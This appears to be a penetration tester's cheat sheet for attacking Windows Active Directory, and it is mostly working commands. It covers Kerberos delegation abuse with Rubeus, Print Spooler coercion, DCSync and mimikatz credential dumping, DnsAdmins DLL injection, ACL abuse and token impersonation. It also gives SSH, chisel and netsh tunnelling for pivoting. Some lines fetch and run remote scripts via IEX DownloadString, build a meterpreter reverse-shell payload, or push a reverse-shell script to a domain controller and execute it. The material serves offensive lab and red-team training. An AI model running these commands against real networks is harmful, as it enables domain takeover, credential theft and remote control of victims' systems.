New-MachineAccount -MachineAccount FS02 -Password $(ConvertTo-SecureString 'P@ssw0rd12345' -AsPlainText -Force) -Verbose -DomainController DC02.dev.ADMIN.OFFSHORE.COM -Domain dev.ADMIN.OFFSHORE.COM
Remove-MachineAccount -MachineAccount test -Credential $domainadmin
Set-MachineAccountAttribute -MachineName test -Attribute SamAccountName -Value test
runas /netonly /user:domain\test powershell
## Unconstrained Delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description # Hunting for computer accounts that have kerberos unconstrained delegation enabled
#### check if TrustedForDelegation field set to $true
With unconstrained delegation enabled on the computer, when the privileged users connect to the computer, their TGT will be stored in memory, which can be replayed to move laterally and compromise a domain controller.
sekurlsa::tickets /export
Service Name (02): cifs ; computerName ; @corp.local # this is TGS
Service Name (02): krbtgt ; computerName ; @corp.local # this is TGT
Kerberos::ptt # pass-the-ticket and get Domain Admin rights
1. Attacker discovers and compromises a system with Kerberos unconstrained delegation. Note that if an attacker compromises a Domain Controller in a trusted forest (with a 2-way trust), this can be used to compromise the other forest.
2. Attacker tests for and discovers a Domain Controller running the Print Spooler (Spooler) service.
3. Attacker sends the MS-RPRN request RpcRemoteFindFirstPrinterChangeNotification (Kerberos auth) to the DC’s print server.
4. The DC immediately sends a response to the requester. This response involves the DC creating a Kerberos service ticket (TGS) which contains the Domain Controller’s computer account Kerberos authentication ticket (TGT) since Kerberos is involved and the requesting account is configured with unconstrained delegation.
5. The attacker now has the Domain Controller computer account Kerberos TGT which can be used to impersonate the DC.
6. DCSync all account credentials (or other attack involving DA credentials as desired).
#### Domain Compromise via DC Print Server and Kerberos Delegation
ls \\dc01\pipe\spoolss # check if a spool service is running on a remote host - https://github.com/vletoux/SpoolerScanner, modify ps script $rprn.CheckIfTheSpoolerIsActive("192.168.0.20")
.\SpoolSample.exe dc01 ws01 # target and compromised server - https://github.com/leechristensen/SpoolSample
sekurlsa::tickets # check if we can retrieve DC01 TGT
lsadump::dcsync /domain:offense.local /user:spotless # make our compromised system ws01$ appear like a Domain Controller and extract an NTLM hash for the user
## Constained Delegation
For eg, user spot has constained delegation permission turned on.
It can be used to impersonate any user and authenticate to a file system service (CIFS) on a domain controller DC01
## Obtain a TGT for the Constained allowed user
.\Rubeus.exe asktgt /user:spot /rc4:dc7a49c0c36399ae87f3de623ebab985 /outfile:TGT_spot.kirbi
## ticket is the base64 ticket we get with `rubeus's tgtdeleg`
.\Rubeus.exe s4u /ticket:TGT_spot.kirbi /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt
#### exploit constrained delegation using the specified computer account
[Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
$idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
$idToImpersonate.Impersonate()
[System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
## Obtain a TGT for the Constained allowed user
.\Rubeus.exe asktgt /user:MS02$ /rc4:dc7a49c0c36399ae87f3de623ebab985 /outfile:TGT_MS02.kirbi
## Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_MS02.kirbi /impersonateuser:administrator /domain:client.offshore.com /msdsspn:cifs/dc04.client.offshore.com /dc:dc04.client.offshore.com /ptt
## Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_MS02.kirbi /impersonateuser:administrator /domain:client.offshore.com /msdsspn:cifs/dc04.client.offshore.com /altservice:cifs,HOST,HTTP,RPCSS,LDAP /dc:dc04.client.offshore.com /ptt
## check the kerberos tickets
klist
## Remote commands execution
dir \\dc04.CLIENT.OFFSHORE.COM\c$ # CIFS
.\PsExec64.exe \\dc04.CLIENT.OFFSHORE.COM cmd # HOST,HTTP
copy rev.ps1 \\dc04.client.offshore.com\c$\windows\temp && wmic /authority:"kerberos:client.offshore.com\DC04" /node:172.16.4.5 process call create "powershell -f c:\windows\temp\rev.ps1" # CIFS,HOST,PRCSS
lsadump::dcsync /domain:client.offshore.com /user:administrator # LDAP
## Kerberos Resource-based Constrained Delegation
IEX(New-Object Net.WebClient).DownloadString("http://192.168.49.126:8080/Powermad.ps1");
New-MachineAccount -MachineAccount FS02 -Password $(ConvertTo-SecureString 'P@ssw0rd12345' -AsPlainText -Force) -Verbose -DomainController DC02.dev.ADMIN.OFFSHORE.COM -Domain dev.ADMIN.OFFSHORE.COM
Get-DomainComputer FS02 -Domain dev.ADMIN.OFFSHORE.COM
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1416445593-394318334-2645530166-7101)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$Cred = New-Object System.Management.Automation.PSCredential('dev.ADMIN.OFFSHORE.COM\joe', (new-object System.Security.SecureString))
Get-DomainComputer DC02 -Domain dev.ADMIN.OFFSHORE.COM | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose -Domain dev.ADMIN.OFFSHORE.COM -Credential $Cred
Get-DomainComputer DC02 -Domain dev.ADMIN.OFFSHORE.COM -Properties 'msds-allowedtoactonbehalfofotheridentity'
Rubeus.exe hash /password:P@ssw0rd12345 /user:FS02 /domain:dev.ADMIN.OFFSHORE.COM
rubeus.exe s4u /user:FS02$ /domain:dev.ADMIN.OFFSHORE.COM /dc:dc02.dev.ADMIN.OFFSHORE.COM /rc4:25CB75FB3F857DE4BB08FEDDCA639D2D /impersonateuser:Administrator /msdsspn:cifs/DC02.dev.ADMIN.OFFSHORE.COM /ptt
dir \\dc02.dev.ADMIN.OFFSHORE.COM\c$
klist purge
rubeus.exe s4u /user:FS02$ /domain:dev.ADMIN.OFFSHORE.COM /rc4:25CB75FB3F857DE4BB08FEDDCA639D2D /impersonateuser:Administrator /msdsspn:cifs/DC02.dev.ADMIN.OFFSHORE.COM /altservice:http,host /dc:DC02.dev.ADMIN.OFFSHORE.COM /ptt
PsExec64.exe \\dc02.dev.ADMIN.OFFSHORE.COM cmd
## From DnsAdmins to SYSTEM to Domain Compromise - The attack relies on a DLL injection into the dns service running as SYSTEM on the DNS server which most of the time is on a Domain Contoller.
net user spotless /domain # For the attack to work, we need to have compromised a user that belongs to a DnsAdmins group
set payload windows\x64\meterpreter_reverse_tcp # Building the DLL
dnscmd dc01 /config /serverlevelplugindll \\10.0.0.2\tools\dns-priv\dnsprivesc.dll # Abuse DNS with dnscmd
Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll # check if our request was successful and the registry value ServerLevelPluginDll points to our malicious DLL
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns # DNS service is probably crashed, so be warned
#cleanup
reg query \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
reg delete \\10.0.0.6\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
sc.exe \\10.0.0.6 stop dns
sc.exe \\10.0.0.6 start dns
## misc
Invoke-ShareFinder -ExcludeStandard -Domain corp.local
Find-LocalAdminAccess -Domain corp.local
Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv
## auto exploitation
$pw = ConvertTo-SecureString "P@ssW0rD!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PsCredential("administrator", $pw)
Get-ExploitableSystem -DomainController 172.16.1.5 -Credential $cred | Format-Table -AutoSize # finds systems likely vulnerable to common exploits
## Invoke-ACLpwn - automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured.
https://github.com/fox-it/Invoke-ACLPwn
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -NoDCSync -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'
## Abusing Active Directory ACLs/ACEs
## Readassword on User
user/group has ReadGMSAPassword privilege to Group Managed Service Accounts can retrive the password of the group of Group Managed Service Accounts.
$gmsa = Get-ADServiceAccount -Identity web_svc -Properties 'msMD-ManagedPassword'
$mp = $gmsa.'msMD-ManagedPassword'
$secpwd = (convertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
$cred = New-Object System.Management.Automation.PSCredential "username",$secpwd
Invoke-Command -ComputerName 127.0.0.1 -Cred $cred -ScriptBlock {whoami}
## GenericAll on User
net user victim new_password /domain
### with active directory module
Set-ADAccountPassword -Identity victim -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "$newPass" -Force)
### with Powersploit
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
## GenericAll on Group
net group "domain admins" compromised_user /add /domain
### with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless
### with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
## GenericAll / GenericWrite / Write on Computer
Prerequisites:
1. Check if a domain member can add up to 10 computers to the domain, look for property ms-ds-machineaccountquota
Get-DomainObject -Identity "dc=DEV,dc=ADMIN,dc=OFFSHORE,dc=COM" -Domain dev.ADMIN.OFFSHORE.COM
2. the DC need to be running at least Windows 2012
Get-DomainController -Domain dev.ADMIN.OFFSHORE.COM
3. check target computer object must not have the attribute msds-allowedtoactonbehalfofotheridentity set
Get-DomainComputer DC02.dev.ADMIN.OFFSHORE.COM -Domain dev.ADMIN.OFFSHORE.COM | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
execution refer to Kerberos Resource-based Constrained Delegation: Computer Object Take Over
## WriteProperty on Group
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local";
## Self (Self-Membership) on Group
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local";
## WriteProperty (Self-Membership)
net group "domain admins" spotless /add /domain
## ForceChangePassword
Set-DomainUserPassword -Identity salvador -AccountPassword $UserPassword -Credential $Cred
Set-DomainUserPassword -Identity delegate -Verbose # use it when you have a UI
## WriteOwner on Group
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
## GenericWrite on User
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
## WriteDACL + WriteOwner
Add-DomainObjectAcl -TargetIdentity "CN=MailAdmins,OU=TGroups,DC=tricky,DC=com" -PrincipalIdentity SQLSVC -Rights All -Verbose
Add-DomainGroupMember -Identity MAILADMINS -Members SQLSVC
## hasSession - https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Invoke-TokenManipulation.ps1
Get-NetLoggedon -ComputerName sqlserver -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -Credential $Cred
Get-NetSession -ComputerName sqlserver -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -Credential $Cred
Get-RegLoggedOn -ComputerName sqlserver -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -Credential $Cred
Get-NetRDPSession -ComputerName sqlserver -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -Credential $Cred
Find-DomainProcess -ComputerName 'DC02' -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -UserIdentity 'Administrator' -UserDomain 'ADMIN.OFFSHORE.COM'
Find-DomainUserEvent -ComputerName 'DC02' -ComputerDomain 'dev.ADMIN.OFFSHORE.COM' -UserIdentity 'Administrator' -UserDomain 'ADMIN.OFFSHORE.COM'
## mimikatz
mimikatz lsadump::sam, lsadump::cache, lsadump::secrets, lsadump::lsa
mimikatz sekurlsa::logonpasswords
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
DEV\imaginarybit
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1
Impersonation Tokens Available
========================================
ADMIN\DC03$
DEV\Administrator
NT AUTHORITY\ANONYMOUS LOGON
meterpreter > impersonate_token "ADMIN\DC03$"
[-] No delegation token available
[+] Successfully impersonated user ADMIN\DC03$
whoami
admin\dc03$
## Adds an ACL for a specific active directory object. Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
...
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
[no results returned]
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
## Impersonate Another Domain User
$cred = New-Object System.Management.Automation.PSCredential "BURMAT\John.Smith", $(ConvertTo-SecureString "Spring2020!" -AsPlainText -Force);
find-domainshare -computername fs01.burmat.local -Credential $cred -computerdomain burmat.local -CheckShareAccess
Invoke-UserImpersonation -Credential $cred
dir \\fs01.burmat.local\Private
## Set-DomainUserPassword - If you own the owner of another AD user object (WriteOwner, WriteDACL, GenericWrite, Owner, etc), you can reset the password with ease
$SecPassword = ConvertTo-SecureString 'I l0ve going Fishing!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('corp.local\pgibbons', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!#$' -AsPlainText -Force
Set-DomainUserPassword -Identity salvador -AccountPassword $UserPassword -Credential $Cred
## Set-DomainObjectOwner
$SecPassword = ConvertTo-SecureString 'I l0ve going Fishing!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('corp.local\pgibbons', $SecPassword)
Set-DomainObjectOwner -Identity salvador -OwnerIdentity pgibbons -Credential $Cred
## How DCSync works:
1. Discovers Domain Controller in the specified domain name.
2. Requests the Domain Controller replicate the user credentials via GetNCChanges (leveraging Directory Replication Service (DRS) Remote Protocol)
## a regular domain user account to run DCSync - three rights need to be delegated at the domain level
1. Replicating Directory Changes (The “DS-Replication-Get-Changes” extended right, CN: DS-Replication-Get-Changes, GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
2. Replicating Directory Changes All (The “Replicating Directory Changes All” extended right, CN: DS-Replication-Get-Changes-All, GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
3. Replicating Directory Changes In Filtered Set (The “Replicating Directory Changes In Filtered Set” extended right (this one isn’t always needed but we can add it just in case, CN: DS-Replication-Get-Changes-In-Filtered-Set, GUID: 89e95b76-444d-4c62-991a-0facbeda640c)
## Add/Exploit DCSync Rights - If you have WriteDACL to a domain admins/group. Give DCSync rights to an unprivileged domain user account
Add-DomainObjectAcl -TargetIdentity "DC=burmatco,DC=local" -PrincipalIdentity useracct1 -Rights DCSync
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity 'Legacy Web Servers' -Rights DCSYNC -Verbose
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity cyber_adm -Rights All -Verbose
lsadump::dcsync /domain:corp.local /user:iamtheadministrator
meterpreter > dcsync_ntlm BURMATCO\\useracct1 # dump user's NTLM hashes from the domain
or
lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator
or
lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt # using krbtgt to create golden ticket
## Domain Trust Attack
1. Enumerate all trust your current domain has and map of all the domains you can reach from your current context through the linking of trust referrals.
2. Enumerate any users/groups/computers (security principals) in one domain that either (1) have access to resources in another domain or (2) are in groups or have users from another domain.
3. If a domain trusts you, i.e. if the trust is bidirectional or if one-way and inbound, then you can query any Active Directory information from the trusting domain.
4. All parent->child (intra-forest domain trusts) retain an implicit two way transitive trust with each other
5. “Enterprise Admins” group is automatically added to child domains' Administrators domain local group in each domain in the forest.
## There are three main ways that security principals (users/groups) from one domain can have access into resources in another foreign/trusting domain
Case 1: Local Group Membership: Get-NetLocalGroupMember <server>
Case 2: Foreign Group Membership: Get-DomainObject -Domain sub.dev.testlab.local -LDAPFilter '(objectclass=ForeignSecurityPrincipal)' | select -Last 2
Case 3: Foreign ACL Principals: Get-DomainObjectACL -Domain <domain.fqdn>
Get-DomainTrust - returns all domain trusts for the current domain or a specified domain
Get-ForestTrust - returns all forest trusts for the current forest or a specified forest
Get-DomainForeignUser - enumerates users who are in groups outside of the user's domain
Get-DomainForeignGroupMember - enumerates groups with users outside of the group's domain and returns each foreign member
Get-DomainTrustMapping - this function enumerates all trusts for the current domain and then enumerates all trusts for each domain it finds
Get-DomainTrust -SearchBase “gc://$($ENV:USERDNSDOMAIN)” # Return all domain trusts in the entire forest
Get-DomainTrust -NET -Domain "prod.testlab.local"
Get-DomainTrust -API -Domain "prod.testlab.local"
Get-DomainTrust -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred
Get-ForestTrust -Forest "external.local"
Get-ForestTrust -Forest "external.local" -Credential $Cred
Get-DomainForeignUser # Return all users in the current domain who are in groups of foreign domain.
Get-DomainForeignUser -Domain dev.testlab.local # Return all users in the dev.testlab.local domain who are in groups of foreign domain.
"S-1-5-21-1216317506-3509444512-4230741538-1108" | ConvertFrom-SID # Return username
Get-DomainForeignGroupMember # Return all group members in the current domain where the group and member differ.
Get-DomainForeignGroupMember -Domain dev.testlab.local # This enumerates groups in the target domain that contain users/groups who are not in the target domain.
Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv
Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv
Get-DomainTrustMapping -NET | Export-CSV -NoTypeInformation trusts.csv
## Trustpocalypse
If the next domain hop is in the same forest as the domain we’re pivoting from/through, AND we’re able to compromise the krbtgt hash of the child domain
## The path of security principals (users/groups) from one domain can have access into resources in another foreign/trusting domain
1. They can be added to local groups on individual machines, i.e. the local “Administrators” group on a server.
Get-NetLocalGroupMember <server>
2. They can be added to groups in the foreign domain. There are some caveats depending on trust type and group scope, described shortly.
They can be added as principals in an access control list, most interesting for us as principals in ACEs in a DACL. For more background on ACLs/DACLs/ACEs, check out the “An ACE Up The Sleeve” whitepaper.
## Forging External Trust Tickets - https://adsecurity.org/?p=1588
Step 1: Dumping trust passwords (trust keys)
Step 2: Create a forged trust ticket (inter-realm TGT) using Mimikatz
Step 3: Use the Trust Ticket file created in Step 2 to get a TGS for the targeted service in the destination domain. Save the TGS to a file.
Step 4: Inject the TGS file created in Step 3 and then access the targeted service with the spoofed rights.
## Forging Internal AD Forest Trust Tickets - https://adsecurity.org/?p=1588
Step 1: Dumping trust passwords (trust keys)
Step 2: Create a forged trust ticket (inter-realm TGT) using Mimikatz
Step 3: Use the Trust Ticket file created in Step 2 to get a TGS for the targeted service in the destination domain. Save the TGS to a file.
Step 4: Inject the TGS file created in Step 3 and then access the targeted service with the spoofed rights.
## Finding Privileged Accounts without Using Privileges
## Build LDAP Filter to look for users with SPN values registered for current domain - powershell - requires a domain-joined computer
$ldapFilter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Execute Search
$results = $search.FindAll()
#Display SPN values from the returned objects
foreach ($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-Host "User Name = " $userEntry.name
foreach ($SPN in $userEntry.servicePrincipalName)
{
Write-Host "SPN = " $SPN
}
Write-Host ""
}
## Service Accounts Using Generic Object Attributes
## Build LDAP Filter to look for users with service account naming conventions svc
$ldapFilter = "(&(objectclass=Person)(cn=*svc*))" #$ldapFilter = "(&(objectclass=organizationalUnit)(|(name="Service")(name="svc")))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain # $search.SearchRoot = "LDAP://OU=Service Accounts,OU=JEFFLAB,DC=JEFFLAB,DC=local"
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Adds list of properties to search for
$objProperties = "name"
Foreach ($i in $objProperties){$search.PropertiesToLoad.Add($i)}
#Execute Search
$results = $search.FindAll()
#Display values from the returned objects
foreach ($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-Host "User Name = " $userEntry.name
Write-Host ""
}
## Service Accounts Discovery via User Account Control "password never expires"
$ldapFilter = "(&(objectclass=user)(objectcategory=user)(useraccountcontrol:1.2.840.113556.1.4.803:=65536))"
# Port Redirection and Tunneling
## proxy server - port forwarding
```
vim /etc/rinetd.conf
add bindaddress(this machine) bindport(this machine) connectaddress(target) connectport(target)
service rinetd restart
plink -l root -pw password 208.99.127.88 -R 3390:127.0.0.1:3389 #victim machine
rdesktop 127.0.0.1:3390 #attacker machine
xfreerdp -sec-nla /u:'hacker' /p:'P@ssw0rd1!' /v:172.16.1.101
xfreerdp +nego +sec-rdp +sec-tls +sec-nla /d:COMPLYEDGE.COM /u:pete /p:Passw0rd /v:172.16.126.168
```
## Local Port Forwarding
forward a port from the client machine to the server/target machine - (A) -> B -> B/C
```
ssh -L <local port to listen>:<remote host>:<remote port> -p <gateway port> <user>@<gateway IP>
ssh root@proxyserver -p 53 -L 9000:target:80 #forward localhost:9000 to target:80 through proxyserver:53
on serverA: ssh -N -L 127.0.0.1:9000:127.0.0.1:80 root@serverB # forward serverA localhost:9000 to serverB localhost:80 through serverA&B ssh tunnel, 127.0.0.1:9000 is open on serverA
on serverA: ssh -N -L 9000:127.0.0.1:80 root@serverB # forward serverA:9000 to serverB localhost:80 through serverA&B ssh tunnel, 0.0.0.0:9000 is open on serverA
on serverA: ssh -N -L 127.0.0.1:9000:serverC:80 root@serverB # forward serverA localhost:9000 to serverC:80 through serverA&B ssh tunnel, 127.0.0.1:9000 is open on serverA
on serverA: ssh -N -L 9000:serverC:80 root@serverB # forward serverA:9000 to serverC:80 through serverA&B ssh tunnel, 0.0.0.0:9000 is open on serverA
```
## Remote Port Forwarding
forward a port from the server machine to the client/target machine - E/A <- (A) <- B
```
ssh -R <remote port to bind>:<local host>:<local port> -p <gateway port> <user>@<gateway IP>
ssh root@proxyserver -p 53 -R 3390:localhost:3389 #forward my local port 3389 to target at port 3390 through port 53 on proxy server
On serverA: ssh -N -R 127.0.0.1:1234:127.0.0.1:3389 root@serverB # forward serverB localhost:1234 to serverA localhost:3389 through serverA&B ssh tunnel, 127.0.0.1:1234 is open on serverB
On serverA: ssh -N -R 1234:127.0.0.1:3389 root@serverB # forward serverB:1234 to serverA localhost:3389 through serverA&B ssh tunnel, 0.0.0.0:1234 is open on serverB
On serverA: ssh -N -R 127.0.0.1:1234:serverE:3389 root@serverB # forward serverB localhost:1234 to serverE:3389 through serverA&B ssh tunnel, 127.0.0.1:1234 is open on serverB
On serverA: ssh -N -R 1234:serverE:3389 root@serverB # forward serverB localhost:1234 to serverE:3389 through serverA&B ssh tunnel, 0.0.0.0:1234 is open on serverB
```
## Dynamic Port Forwarding
```
ssh -D <local proxy port> -p <remote port> <target>
ssh -D 8080 -p 2222 root@proxyserver
ssh -fNT -D 19050 -i id_rsa root@10.10.110.123
```
## Proxychains
on victim:
`ssh -f -N -R 2222:127.0.0.1:22 root@208.68.234.100`
on attacker:
`ssh -f -N -D 127.0.0.1:8080 -p 2222 hax0r@127.0.0.1`
on attacker:
`proxychains nmap --top-ports=20 -sT -Pn 172.16.40.0/24`
`sshuttle --dns -vr root@10.10.110.123 172.16.1.0/24 --ssh-cmd 'ssh -i ./id_rsa'`
## Invoke-SocksProxy
Creates a local or "reverse" Socks proxy using powershell - https://github.com/p3nt4/Invoke-SocksProxy
On the remote host:
```
## Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
## Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"
## Start the handler
python ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
```
On the local host:
```
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130
## Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy
## Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'
## Give up after a number of failed connections to the handler:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10
```
## netsh
Windows port forwarding - A->B
```
netsh interface ipv4 install
netsh interface ipv6 install
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
//listenaddress – is a local IP address waiting for a connection. # The listener address needs to be the IP of an interface of your machine.
//listenport – local listening TCP port (the connection is waited on it).
//connectaddress – is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
//connectport – is a TCP port to which the connection from listenport is forwarded to.
netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=1234 connectaddress=127.0.0.1 connectport=3389
netsh interface portproxy add v4tov4 listenport=30080 connectport=30080 connectaddress=10.10.14.2
netsh interface portproxy add v4tov4 listenport=38888 connectport=38888 connectaddress=10.10.14.2
netsh interface portproxy add v4tov4 listenport=39999 connectport=39999 connectaddress=10.10.14.2
netsh interface portproxy delete v4tov4 listenport=38888 listenaddress=172.16.1.5
netsh interface portproxy show all
```
## Metasploit autoroute
```
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set session 1
session => 1
msf6 post(multi/manage/autoroute) > exploit
[!] SESSION may not be compatible with this module.
[*] Running module against CLIENT09
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.126.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf6 auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
SRVHOST 127.0.0.1 yes The address to listen on
SRVPORT 1080 yes The port to listen on
USERNAME no Proxy username for SOCKS5 listener
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > exploit -j
[*] Auxiliary module running as background job 1.
```
`proxychains4 nmap internal`
## Port forwarding in meterpreter shell
Adding port forwards with metasploit module
`meterpreter > portfwd add -l 80 -r 192.168.1.6 -p 80`
## Socks Over RDP / Socks Over Citrix
https://github.com/nccgroup/SocksOverRDP
regsvr32.exe SocksOverRDP-Plugin.dll
`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Terminal Server Client\Default\AddIns\SocksOverRDP-Plugin`
## Chisel
### Basic port forwarding
attacker ip: 10.10.14.2
pivot ip: 10.10.10.2
target ip: 10.10.10.240
on attacker:
`chisel server -p 8000 --reverse -v`
on pivot:
Listen on Kali 80, forward to localhost port 80 on pivot
`chisel client 10.10.14.2:8000 R:127.0.0.1:80:127.0.0.1:80`
Listen on Kali 80, forward to 10.10.10.240 port 80
`chisel client 10.10.14.2:8000 R:127.0.0.1:80:10.10.10.240:80`
### Reverse Socks Proxy
on attacker:
`chisel server -p 8000 --socks5 --reverse -v`
on pivot:
Create SOCKS5 listener on 1080 on Kali, proxy through client
`chisel client 10.10.14.2:8000 R:socks`
add "socks5 127.0.0.1 1080" in proxychians config
on attacker:
`chisel server -p 8001 --socks5 --reverse -v`
on pivot:
`chisel client 10.10.14.2:8001 R:1081:socks`
add "socks5 127.0.0.1 1081" in proxychians config
`proxychains4 -f ~/new.conf [commands]`
### multiple hops
A -> B -> C -> D -> E
#### On A (10.10.14.2)
```bash
ssh -fNT -D 19050 -i id_rsa root@10.10.110.123
hop1.conf: socks5 127.0.0.1 19050
proxychains4 -f hop1.conf xfreerdp /u:'imaginarybit' /p:'P@ssw0rd12345!' /v:172.16.1.5
chisel server -p 8000 --socks5 --reverse -v
hop2.conf: socks5 127.0.0.1 1080;
proxychains4 -f hop2.conf xfreerdp /u:'imaginarybit' /p:'P@ssw0rd12345!' /v:172.16.6.12
python -m SimpleHTTPServer 10080
nc -lvnp 28888
nc -lvnp 38888
hop3.conf: socks5 127.0.0.1 19050;socks5 172.16.1.5 18888
hop3.conf: socks5 127.0.0.1 1080;socks5 127.0.0.1 1080
proxychains4 -f hop3.conf xfreerdp /u:'imaginarybit' /p:'P@ssw0rd12345!' /v:172.16.2.102
```
#### On B (10.10.110.123)
#### On C (172.16.1.5)
```
chisel.exe client 10.10.14.2:8000 R:socks
netsh interface portproxy add v4tov4 listenport=10080 connectport=10080 connectaddress=10.10.14.2
